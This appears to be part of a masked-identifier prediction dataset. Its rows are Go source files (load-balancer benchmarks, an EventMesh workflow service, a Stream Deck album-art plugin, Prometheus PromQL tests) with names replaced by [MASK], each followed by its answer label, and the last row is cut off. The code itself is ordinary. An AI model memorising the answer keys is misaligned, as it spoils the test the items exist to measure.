endpoints with different prior endpoints := make([]*domain.Endpoint, 10) for i := 0; i < 10; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100+i*10) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } } // BenchmarkPrioritySelector_SelectSamePriority tests weighted selection func BenchmarkPrioritySelector_SelectSamePriority(b *testing.B) { selector := NewPrioritySelector(NewTestStatsCollector()) ctx := context.Background() // Same priority, different statuses for weighted selection endpoints := []*domain.Endpoint{ createBenchEndpoint(""healthy"", 11434, domain.StatusHealthy, 100), createBenchEndpoint(""busy"", 11435, domain.StatusBusy, 100), createBenchEndpoint(""warming"", 11436, domain.StatusWarming, 100), } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } } // BenchmarkRoundRobinSelector_Select tests round-robin performance func BenchmarkRoundRobinSelector_Select(b *testing.B) { selector := NewRoundRobinSelector(NewTestStatsCollector()) ctx := context.Background() endpoints := make([]*domain.Endpoint, 10) for i := 0; i < 10; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } } // BenchmarkLeastConnectionsSelector_Select tests lease connections performance func BenchmarkLeastConnectionsSelector_Select(b *testing.B) { selector := NewLeastConnectionsSelector(NewTestStatsCollector()) ctx := context.Background() endpoints := make([]*domain.Endpoint, 10) for i := 0; i < 10; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100) } // Add some connection counts to make it realistic // faking it till we make it :D for i, endpoint := range endpoints { for j := 0; j < i; j++ { selector.IncrementConnections(endpoint) } } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } } // BenchmarkConnectionTracking tests connection increment/decrement performance func BenchmarkConnectionTracking(b *testing.B) { mockStatsCollector := NewTestStatsCollector() selectors := map[string]domain.EndpointSelector{ DefaultBalancerPriority: NewPrioritySelector(mockStatsCollector), DefaultBalancerRoundRobin: NewRoundRobinSelector(mockStatsCollector), DefaultBalancerLeastConnections: NewLeastConnectionsSelector(mockStatsCollector), } endpoint := createBenchEndpoint(""test"", 11434, domain.StatusHealthy, 100) for name, selector := range selectors { b.Run(name, func(b *testing.B) { b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { selector.IncrementConnections(endpoint) selector.DecrementConnections(endpoint) } }) } } // BenchmarkConcurrentSelection tests concurrent selection performance func BenchmarkConcurrentSelection(b *testing.B) { mockStatsCollector := NewTestStatsCollector() selectors := map[string]domain.EndpointSelector{ DefaultBalancerPriority: NewPrioritySelector(mockStatsCollector), DefaultBalancerRoundRobin: NewRoundRobinSelector(mockStatsCollector), DefaultBalancerLeastConnections: NewLeastConnectionsSelector(mockStatsCollector), } endpoints := make([]*domain.Endpoint, 5) for i := 0; i < 5; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100+i*50) } ctx := context.Background() for name, selector := range selectors { b.Run(name, func(b *testing.B) { b.ResetTimer() b.ReportAllocs() b.RunParallel(func(pb *testing.PB) { for pb.Next() { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } }) }) } } // BenchmarkLargeEndpointSet tests performance with many endpoints func BenchmarkLargeEndpointSet(b *testing.B) { sizes := []int{10, 50, 100, 500} mockStatsCollector := NewTestStatsCollector() for _, size := range sizes { b.Run(fmt.Sprintf(""size-%d"", size), func(b *testing.B) { selectors := map[string]domain.EndpointSelector{ DefaultBalancerPriority: NewPrioritySelector(mockStatsCollector), DefaultBalancerRoundRobin: NewRoundRobinSelector(mockStatsCollector), DefaultBalancerLeastConnections: NewLeastConnectionsSelector(mockStatsCollector), } endpoints := make([]*domain.Endpoint, size) for i := 0; i < size; i++ { status := domain.StatusHealthy if i%4 == 0 { status = domain.StatusBusy } else if i%5 == 0 { status = domain.StatusWarming } endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, status, 100+i) } ctx := context.Background() for selectorName, selector := range selectors { b.Run(selectorName, func(b *testing.B) { b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } }) } }) } } // BenchmarkFilteringRoutableEndpoints tests the cost of filtering routable endpoints func BenchmarkFilteringRoutableEndpoints(b *testing.B) { // Mix of routable and non-routable endpoints endpoints := make([]*domain.Endpoint, 20) statuses := []domain.EndpointStatus{ domain.StatusHealthy, domain.StatusBusy, domain.StatusWarming, // Routable domain.StatusOffline, domain.StatusUnhealthy, domain.StatusUnknown, // Not routable } for i := 0; i < 20; i++ { endpoints[i] = createBenchEndpoint( fmt.Sprintf(""endpoint-%d"", i), 11434+i, statuses[i%len(statuses)], 100+i*10, ) } mockStatsCollector := NewTestStatsCollector() selectors := map[string]domain.EndpointSelector{ DefaultBalancerPriority: NewPrioritySelector(mockStatsCollector), DefaultBalancerRoundRobin: NewRoundRobinSelector(mockStatsCollector), DefaultBalancerLeastConnections: NewLeastConnectionsSelector(mockStatsCollector), } ctx := context.Background() for name, selector := range selectors { b.Run(name, func(b *testing.B) { b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { _, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } } }) } } // BenchmarkMemoryUsage tests memory efficiency func BenchmarkMemoryUsage(b *testing.B) { b.Run(""factory-creation"", func(b *testing.B) { b.ReportAllocs() for i := 0; i < b.N; i++ { factory := NewFactory(NewTestStatsCollector()) _ = factory } }) b.Run(""selector-creation"", func(b *testing.B) { factory := NewFactory(NewTestStatsCollector()) b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { priority, _ := factory.Create(DefaultBalancerPriority) roundRobin, _ := factory.Create(DefaultBalancerRoundRobin) leastConn, _ := factory.Create(DefaultBalancerLeastConnections) _ = priority _ = roundRobin _ = leastConn } }) b.Run(""connection-tracking"", func(b *testing.B) { selector := NewPrioritySelector(NewTestStatsCollector()) endpoints := make([]*domain.Endpoint, 100) for i := 0; i < 100; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { endpoint := endpoints[i%len(endpoints)] selector.IncrementConnections(endpoint) } }) } // BenchmarkPrioritySelector_ConnectionStats tests stats performance func BenchmarkPrioritySelector_ConnectionStats(b *testing.B) { selector := NewPrioritySelector(NewTestStatsCollector()) // Add connections to various endpoints for i := 0; i < 50; i++ { endpoint := createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100) for j := 0; j < i%10; j++ { selector.IncrementConnections(endpoint) } } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { stats := selector.statsCollector.GetConnectionStats() _ = stats } } // BenchmarkConcurrentConnectionTracking tests concurrent connection updates func BenchmarkConcurrentConnectionTracking(b *testing.B) { selector := NewPrioritySelector(NewTestStatsCollector()) endpoints := make([]*domain.Endpoint, 10) for i := 0; i < 10; i++ { endpoints[i] = createBenchEndpoint(fmt.Sprintf(""endpoint-%d"", i), 11434+i, domain.StatusHealthy, 100) } b.ResetTimer() b.ReportAllocs() b.RunParallel(func(pb *testing.PB) { for pb.Next() { endpoint := endpoints[0] // All goroutines update same endpoint selector.IncrementConnections(endpoint) selector.DecrementConnections(endpoint) } }) } // BenchmarkRealWorldScenario simulates realistic usage patterns func BenchmarkRealWorldScenario(b *testing.B) { factory := NewFactory(NewTestStatsCollector()) selector, _ := factory.Create(""priority"") // Create endpoints with realistic distribution endpoints := []*domain.Endpoint{ createBenchEndpoint(""primary"", 11434, domain.StatusHealthy, 300), // High priority, healthy createBenchEndpoint(""secondary"", 11435, domain.StatusHealthy, 200), // Medium priority, healthy createBenchEndpoint(""tertiary"", 11436, domain.StatusBusy, 100), // Low priority, busy createBenchEndpoint(""backup"", 11437, domain.StatusWarming, 50), // Lowest priority, warming createBenchEndpoint(""offline"", 11438, domain.StatusOffline, 400), // Highest priority but offline } ctx := context.Background() b.ResetTimer() b.ReportAllocs() b.RunParallel(func(pb *testing.PB) { for pb.Next() { endpoint, err := selector.Select(ctx, endpoints) if err != nil { b.Fatal(err) } selector.IncrementConnections(endpoint) // Simulate some worky work (occasionally decrement) if b.N%10 == 0 { selector.DecrementConnections(endpoint) } } }) } func createBenchEndpoint(name string, port int, status domain.EndpointStatus, priority int) *domain.Endpoint { testURL, _ := url.Parse(fmt.Sprintf(""http://localhost:%d"", port)) [MASK] , _ := url.Parse(fmt.Sprintf(""http://localhost:%d/health"", port)) return &domain.Endpoint{ Name: name, URL: testURL, HealthCheckURL: [MASK] , Status: status, Priority: priority, } } ",healthURL 927,"// Licensed to the Apache Software Foundation (ASF) under one or more // contributor license agreements. See the NOTICE file distributed with // this work for additional information regarding copyright ownership. // The ASF licenses this file to You under the Apache License, Version 2.0 // (the ""License""); you may not use this file except in compliance with // the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package api import ( ""context"" ""github.com/apache/incubator-eventmesh/eventmesh-workflow-go/flow"" ""github.com/gogf/gf/util/gconv"" ""github.com/apache/incubator-eventmesh/eventmesh-workflow-go/api/proto"" ) type workflowImpl struct { proto.UnimplementedWorkflowServer engine *flow.Engine } func NewWorkflowService() proto.WorkflowServer { var w workflowImpl w.engine = flow.NewEngine() return &w } func (s *workflowImpl) Execute(ctx context.Context, req *proto.ExecuteRequest) (*proto.ExecuteResponse, error) { var [MASK] proto.ExecuteResponse var param flow.WorkflowParam if err := gconv.Struct(req, ¶m); err != nil { return nil, err } if len(req.InstanceId) != 0 { return & [MASK] , s.engine.Transition(ctx, ¶m) } r, err := s.engine.Start(ctx, ¶m) if err != nil { return nil, err } [MASK] .InstanceId = r return & [MASK] , nil } ",rsp 928,"package actions import ( ""context"" ""encoding/json"" ""github.com/StefanZoerner/streamdeck-squeezebox/plugin/general"" ""github.com/StefanZoerner/streamdeck-squeezebox/plugin/keyimages"" sdcontext ""github.com/samwho/streamdeck/context"" ""image"" ""github.com/StefanZoerner/streamdeck-squeezebox/squeezebox"" ""github.com/samwho/streamdeck"" ) type albumArtActionSettings struct { PlayerSettings Dimension string `json:""albumart_dimension""` TileNumber int `json:""albumart_tile_number""` } type albumArtFromPI struct { Command string `json:""command""` Settings albumArtActionSettings `json:""settings""` } type albumArtObserver struct { client *streamdeck.Client ctx context.Context dimension string tile int } func (aao albumArtObserver) PlaymodeChanged(_ string) { } func (aao albumArtObserver) AlbumArtChanged(newURL string) { err := showAlbumArtImage(aao.ctx, aao.client, newURL, aao.dimension, aao.tile) if err != nil { general.LogErrorNoEvent(aao.client, err) } } func (aao albumArtObserver) GetID() string { return sdcontext.Context(aao.ctx) } func (aao albumArtObserver) String() string { return ""albumArtObserver "" + aao.GetID()[:5] + ""..."" } // SetupAlbumArtAction adds the albumart action to the plugin. // func SetupAlbumArtAction(client *streamdeck.Client) { albumArtAction := client.Action(""de.szoerner.streamdeck.squeezebox.actions.albumart"") albumArtAction.RegisterHandler(streamdeck.WillAppear, general.WillAppearRequestGlobalSettingsHandler) albumArtAction.RegisterHandler(streamdeck.SendToPlugin, albumartHandlerSendToPlugin) albumArtAction.RegisterHandler(streamdeck.WillAppear, albumartHandlerWillAppear) albumArtAction.RegisterHandler(streamdeck.WillDisappear, albumartHandlerWillDisappear) } func albumartHandlerWillAppear(ctx context.Context, client *streamdeck.Client, event streamdeck.Event) (err error) { general.LogEvent(client, event) defer func() { if err != nil { general.LogErrorWithEvent(client, event, err) } }() payload := streamdeck.WillAppearPayload{} err = json.Unmarshal(event.Payload, &payload) if err == nil { settings := albumArtActionSettings{} err = json.Unmarshal(payload.Settings, &settings) if err == nil { modified := false if settings.PlayerId == """" { settings.PlayerName = ""(Default)"" modified = true } if settings.Dimension == """" { settings.Dimension = keyimages.AlbumArt1x1 modified = true } if settings.TileNumber == 0 { settings.TileNumber = 1 modified = true } if modified { err = client.SetSettings(ctx, settings) if err != nil { return err } } aao := albumArtObserver{ client: client, ctx: ctx, dimension: settings.Dimension, tile: settings.TileNumber, } general.AddOberserverForPlayer(settings.PlayerId, aao) conProps := general.GetPluginGlobalSettings().ConnectionProps() var url string if conProps.NotEmpty() { pid := settings.PlayerId if pid == """" { pid = general.GetPluginGlobalSettings().DefaultPlayerID } if pid != """" { url, err = squeezebox.GetCurrentArtworkURL(conProps, pid) if err != nil { return err } } } err = showAlbumArtImage(ctx, client, url, settings.Dimension, settings.TileNumber) } } return err } func albumartHandlerWillDisappear(ctx context.Context, client *streamdeck.Client, event streamdeck.Event) error { general.LogEvent(client, event) var err error var settings PlayerSettings settings, err = GetPlayerSettingsFromWillDisappearEvent(event) if err == nil { aao := albumArtObserver{ client: client, ctx: ctx, } general.RemoveOberserverForPlayer(settings.PlayerId, aao) } if err != nil { general.LogErrorWithEvent(client, event, err) } return err } func albumartHandlerSendToPlugin(ctx context.Context, client *streamdeck.Client, event streamdeck.Event) error { general.LogEvent(client, event) var err error fromPI := albumArtFromPI{} err = json.Unmarshal(event.Payload, &fromPI) if err != nil { general.LogErrorWithEvent(client, event, err) return err } if fromPI.Command == ""getPlayerSelectionOptions"" { var payload PlayerSelection payload, err = getPlayerSelection() if err == nil { err = client.SendToPropertyInspector(ctx, &payload) } } else if fromPI.Command == ""sendFormData"" { err = client.SetSettings(ctx, fromPI.Settings) if err == nil { aao := albumArtObserver{ client: client, ctx: ctx, dimension: fromPI.Settings.Dimension, tile: fromPI.Settings.TileNumber, } general.RemoveOberserverForAllPlayers(aao) general.AddOberserverForPlayer(fromPI.Settings.PlayerId, aao) var url string cp := general.GetPluginGlobalSettings().ConnectionProps() pid := fromPI.Settings.PlayerId if pid == """" { pid = general.GetPluginGlobalSettings().DefaultPlayerID } url, err = squeezebox.GetCurrentArtworkURL(cp, pid) if err == nil { err = showAlbumArtImage(ctx, client, url, fromPI.Settings.Dimension, fromPI.Settings.TileNumber) } } } return err } func showAlbumArtImage(ctx context.Context, client *streamdeck.Client, url, dim string, tile int) error { var [MASK] image.Image var err error [MASK] , err = keyimages.GetImageByUrl(url) if err != nil { general.LogErrorNoEvent(client, err) } // Ignore error (if any) and try to render (default) image, if availaible if [MASK] != nil { var tileImage image.Image tileImage, err = keyimages.ResizeAndCropImage( [MASK] , dim, tile) if err == nil { s, _ := streamdeck.Image(tileImage) err = client.SetImage(ctx, s, streamdeck.HardwareAndSoftware) } } if err != nil { general.LogErrorNoEvent(client, err) } return err } ",img 929,"// Copyright 2016 The Prometheus Authors // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package promql import ( ""context"" ""errors"" ""fmt"" ""math"" ""os"" ""sort"" ""testing"" ""time"" ""github.com/go-kit/log"" ""github.com/prometheus/prometheus/tsdb/tsdbutil"" ""github.com/stretchr/testify/require"" ""go.uber.org/goleak"" ""github.com/prometheus/prometheus/model/histogram"" ""github.com/prometheus/prometheus/model/labels"" ""github.com/prometheus/prometheus/model/timestamp"" ""github.com/prometheus/prometheus/promql/parser"" ""github.com/prometheus/prometheus/storage"" ""github.com/prometheus/prometheus/util/stats"" ) func TestMain(m *testing.M) { goleak.VerifyTestMain(m) } func TestQueryConcurrency(t *testing.T) { maxConcurrency := 10 dir, err := os.MkdirTemp("""", ""test_concurrency"") require.NoError(t, err) defer os.RemoveAll(dir) queryTracker := NewActiveQueryTracker(dir, maxConcurrency, nil) opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 100 * time.Second, ActiveQueryTracker: queryTracker, } engine := NewEngine(opts) ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() block := make(chan struct{}) processing := make(chan struct{}) done := make(chan int) defer close(done) f := func(context.Context) error { select { case processing <- struct{}{}: case <-done: } select { case <-block: case <-done: } return nil } for i := 0; i < maxConcurrency; i++ { q := engine.newTestQuery(f) go q.Exec(ctx) select { case <-processing: // Expected. case <-time.After(20 * time.Millisecond): require.Fail(t, ""Query within concurrency threshold not being executed"") } } q := engine.newTestQuery(f) go q.Exec(ctx) select { case <-processing: require.Fail(t, ""Query above concurrency threshold being executed"") case <-time.After(20 * time.Millisecond): // Expected. } // Terminate a running query. block <- struct{}{} select { case <-processing: // Expected. case <-time.After(20 * time.Millisecond): require.Fail(t, ""Query within concurrency threshold not being executed"") } // Terminate remaining queries. for i := 0; i < maxConcurrency; i++ { block <- struct{}{} } } func TestQueryTimeout(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 5 * time.Millisecond, } engine := NewEngine(opts) ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() query := engine.newTestQuery(func(ctx context.Context) error { time.Sleep(100 * time.Millisecond) return contextDone(ctx, ""test statement execution"") }) res := query.Exec(ctx) require.Error(t, res.Err, ""expected timeout error but got none"") var e ErrQueryTimeout require.True(t, errors.As(res.Err, &e), ""expected timeout error but got: %s"", res.Err) } const errQueryCanceled = ErrQueryCanceled(""test statement execution"") func TestQueryCancel(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() // Cancel a running query before it completes. block := make(chan struct{}) processing := make(chan struct{}) query1 := engine.newTestQuery(func(ctx context.Context) error { processing <- struct{}{} <-block return contextDone(ctx, ""test statement execution"") }) var res *Result go func() { res = query1.Exec(ctx) processing <- struct{}{} }() <-processing query1.Cancel() block <- struct{}{} <-processing require.Error(t, res.Err, ""expected cancellation error for query1 but got none"") require.Equal(t, errQueryCanceled, res.Err) // Canceling a query before starting it must have no effect. query2 := engine.newTestQuery(func(ctx context.Context) error { return contextDone(ctx, ""test statement execution"") }) query2.Cancel() res = query2.Exec(ctx) require.NoError(t, res.Err) } // errQuerier implements storage.Querier which always returns error. type errQuerier struct { err error } func (q *errQuerier) Select(bool, *storage.SelectHints, ...*labels.Matcher) storage.SeriesSet { return errSeriesSet{err: q.err} } func (*errQuerier) LabelValues(string, ...*labels.Matcher) ([]string, storage.Warnings, error) { return nil, nil, nil } func (*errQuerier) LabelNames(...*labels.Matcher) ([]string, storage.Warnings, error) { return nil, nil, nil } func (*errQuerier) Close() error { return nil } // errSeriesSet implements storage.SeriesSet which always returns error. type errSeriesSet struct { err error } func (errSeriesSet) Next() bool { return false } func (errSeriesSet) At() storage.Series { return nil } func (e errSeriesSet) Err() error { return e.err } func (e errSeriesSet) Warnings() storage.Warnings { return nil } func TestQueryError(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) errStorage := ErrStorage{errors.New(""storage error"")} [MASK] := storage.QueryableFunc(func(ctx context.Context, mint, maxt int64) (storage.Querier, error) { return &errQuerier{err: errStorage}, nil }) ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() vectorQuery, err := engine.NewInstantQuery(ctx, [MASK] , nil, ""foo"", time.Unix(1, 0)) require.NoError(t, err) res := vectorQuery.Exec(ctx) require.Error(t, res.Err, ""expected error on failed select but got none"") require.True(t, errors.Is(res.Err, errStorage), ""expected error doesn't match"") matrixQuery, err := engine.NewInstantQuery(ctx, [MASK] , nil, ""foo[1m]"", time.Unix(1, 0)) require.NoError(t, err) res = matrixQuery.Exec(ctx) require.Error(t, res.Err, ""expected error on failed select but got none"") require.True(t, errors.Is(res.Err, errStorage), ""expected error doesn't match"") } type noopHintRecordingQueryable struct { hints []*storage.SelectHints } func (h *noopHintRecordingQueryable) Querier(context.Context, int64, int64) (storage.Querier, error) { return &hintRecordingQuerier{Querier: &errQuerier{}, h: h}, nil } type hintRecordingQuerier struct { storage.Querier h *noopHintRecordingQueryable } func (h *hintRecordingQuerier) Select(sortSeries bool, hints *storage.SelectHints, matchers ...*labels.Matcher) storage.SeriesSet { h.h.hints = append(h.h.hints, hints) return h.Querier.Select(sortSeries, hints, matchers...) } func TestSelectHintsSetCorrectly(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, LookbackDelta: 5 * time.Second, EnableAtModifier: true, } for _, tc := range []struct { query string // All times are in milliseconds. start int64 end int64 // TODO(bwplotka): Add support for better hints when subquerying. expected []*storage.SelectHints }{ { query: ""foo"", start: 10000, expected: []*storage.SelectHints{ {Start: 5000, End: 10000}, }, }, { query: ""foo @ 15"", start: 10000, expected: []*storage.SelectHints{ {Start: 10000, End: 15000}, }, }, { query: ""foo @ 1"", start: 10000, expected: []*storage.SelectHints{ {Start: -4000, End: 1000}, }, }, { query: ""foo[2m]"", start: 200000, expected: []*storage.SelectHints{ {Start: 80000, End: 200000, Range: 120000}, }, }, { query: ""foo[2m] @ 180"", start: 200000, expected: []*storage.SelectHints{ {Start: 60000, End: 180000, Range: 120000}, }, }, { query: ""foo[2m] @ 300"", start: 200000, expected: []*storage.SelectHints{ {Start: 180000, End: 300000, Range: 120000}, }, }, { query: ""foo[2m] @ 60"", start: 200000, expected: []*storage.SelectHints{ {Start: -60000, End: 60000, Range: 120000}, }, }, { query: ""foo[2m] offset 2m"", start: 300000, expected: []*storage.SelectHints{ {Start: 60000, End: 180000, Range: 120000}, }, }, { query: ""foo[2m] @ 200 offset 2m"", start: 300000, expected: []*storage.SelectHints{ {Start: -40000, End: 80000, Range: 120000}, }, }, { query: ""foo[2m:1s]"", start: 300000, expected: []*storage.SelectHints{ {Start: 175000, End: 300000, Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s])"", start: 300000, expected: []*storage.SelectHints{ {Start: 175000, End: 300000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 300)"", start: 200000, expected: []*storage.SelectHints{ {Start: 175000, End: 300000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 200)"", start: 200000, expected: []*storage.SelectHints{ {Start: 75000, End: 200000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 100)"", start: 200000, expected: []*storage.SelectHints{ {Start: -25000, End: 100000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] offset 10s)"", start: 300000, expected: []*storage.SelectHints{ {Start: 165000, End: 290000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time((foo offset 10s)[2m:1s] offset 10s)"", start: 300000, expected: []*storage.SelectHints{ {Start: 155000, End: 280000, Func: ""count_over_time"", Step: 1000}, }, }, { // When the @ is on the vector selector, the enclosing subquery parameters // don't affect the hint ranges. query: ""count_over_time((foo @ 200 offset 10s)[2m:1s] offset 10s)"", start: 300000, expected: []*storage.SelectHints{ {Start: 185000, End: 190000, Func: ""count_over_time"", Step: 1000}, }, }, { // When the @ is on the vector selector, the enclosing subquery parameters // don't affect the hint ranges. query: ""count_over_time((foo @ 200 offset 10s)[2m:1s] @ 100 offset 10s)"", start: 300000, expected: []*storage.SelectHints{ {Start: 185000, End: 190000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time((foo offset 10s)[2m:1s] @ 100 offset 10s)"", start: 300000, expected: []*storage.SelectHints{ {Start: -45000, End: 80000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""foo"", start: 10000, end: 20000, expected: []*storage.SelectHints{ {Start: 5000, End: 20000, Step: 1000}, }, }, { query: ""foo @ 15"", start: 10000, end: 20000, expected: []*storage.SelectHints{ {Start: 10000, End: 15000, Step: 1000}, }, }, { query: ""foo @ 1"", start: 10000, end: 20000, expected: []*storage.SelectHints{ {Start: -4000, End: 1000, Step: 1000}, }, }, { query: ""rate(foo[2m] @ 180)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: 60000, End: 180000, Range: 120000, Func: ""rate"", Step: 1000}, }, }, { query: ""rate(foo[2m] @ 300)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: 180000, End: 300000, Range: 120000, Func: ""rate"", Step: 1000}, }, }, { query: ""rate(foo[2m] @ 60)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: -60000, End: 60000, Range: 120000, Func: ""rate"", Step: 1000}, }, }, { query: ""rate(foo[2m])"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: 80000, End: 500000, Range: 120000, Func: ""rate"", Step: 1000}, }, }, { query: ""rate(foo[2m] offset 2m)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 60000, End: 380000, Range: 120000, Func: ""rate"", Step: 1000}, }, }, { query: ""rate(foo[2m:1s])"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 175000, End: 500000, Func: ""rate"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s])"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 175000, End: 500000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] offset 10s)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 165000, End: 490000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 300)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: 175000, End: 300000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 200)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: 75000, End: 200000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time(foo[2m:1s] @ 100)"", start: 200000, end: 500000, expected: []*storage.SelectHints{ {Start: -25000, End: 100000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time((foo offset 10s)[2m:1s] offset 10s)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 155000, End: 480000, Func: ""count_over_time"", Step: 1000}, }, }, { // When the @ is on the vector selector, the enclosing subquery parameters // don't affect the hint ranges. query: ""count_over_time((foo @ 200 offset 10s)[2m:1s] offset 10s)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 185000, End: 190000, Func: ""count_over_time"", Step: 1000}, }, }, { // When the @ is on the vector selector, the enclosing subquery parameters // don't affect the hint ranges. query: ""count_over_time((foo @ 200 offset 10s)[2m:1s] @ 100 offset 10s)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: 185000, End: 190000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""count_over_time((foo offset 10s)[2m:1s] @ 100 offset 10s)"", start: 300000, end: 500000, expected: []*storage.SelectHints{ {Start: -45000, End: 80000, Func: ""count_over_time"", Step: 1000}, }, }, { query: ""sum by (dim1) (foo)"", start: 10000, expected: []*storage.SelectHints{ {Start: 5000, End: 10000, Func: ""sum"", By: true, Grouping: []string{""dim1""}}, }, }, { query: ""sum without (dim1) (foo)"", start: 10000, expected: []*storage.SelectHints{ {Start: 5000, End: 10000, Func: ""sum"", Grouping: []string{""dim1""}}, }, }, { query: ""sum by (dim1) (avg_over_time(foo[1s]))"", start: 10000, expected: []*storage.SelectHints{ {Start: 9000, End: 10000, Func: ""avg_over_time"", Range: 1000}, }, }, { query: ""sum by (dim1) (max by (dim2) (foo))"", start: 10000, expected: []*storage.SelectHints{ {Start: 5000, End: 10000, Func: ""max"", By: true, Grouping: []string{""dim2""}}, }, }, { query: ""(max by (dim1) (foo))[5s:1s]"", start: 10000, expected: []*storage.SelectHints{ {Start: 0, End: 10000, Func: ""max"", By: true, Grouping: []string{""dim1""}, Step: 1000}, }, }, { query: ""(sum(http_requests{group=~\""p.*\""})+max(http_requests{group=~\""c.*\""}))[20s:5s]"", start: 120000, expected: []*storage.SelectHints{ {Start: 95000, End: 120000, Func: ""sum"", By: true, Step: 5000}, {Start: 95000, End: 120000, Func: ""max"", By: true, Step: 5000}, }, }, { query: ""foo @ 50 + bar @ 250 + baz @ 900"", start: 100000, end: 500000, expected: []*storage.SelectHints{ {Start: 45000, End: 50000, Step: 1000}, {Start: 245000, End: 250000, Step: 1000}, {Start: 895000, End: 900000, Step: 1000}, }, }, { query: ""foo @ 50 + bar + baz @ 900"", start: 100000, end: 500000, expected: []*storage.SelectHints{ {Start: 45000, End: 50000, Step: 1000}, {Start: 95000, End: 500000, Step: 1000}, {Start: 895000, End: 900000, Step: 1000}, }, }, { query: ""rate(foo[2s] @ 50) + bar @ 250 + baz @ 900"", start: 100000, end: 500000, expected: []*storage.SelectHints{ {Start: 48000, End: 50000, Step: 1000, Func: ""rate"", Range: 2000}, {Start: 245000, End: 250000, Step: 1000}, {Start: 895000, End: 900000, Step: 1000}, }, }, { query: ""rate(foo[2s:1s] @ 50) + bar + baz"", start: 100000, end: 500000, expected: []*storage.SelectHints{ {Start: 43000, End: 50000, Step: 1000, Func: 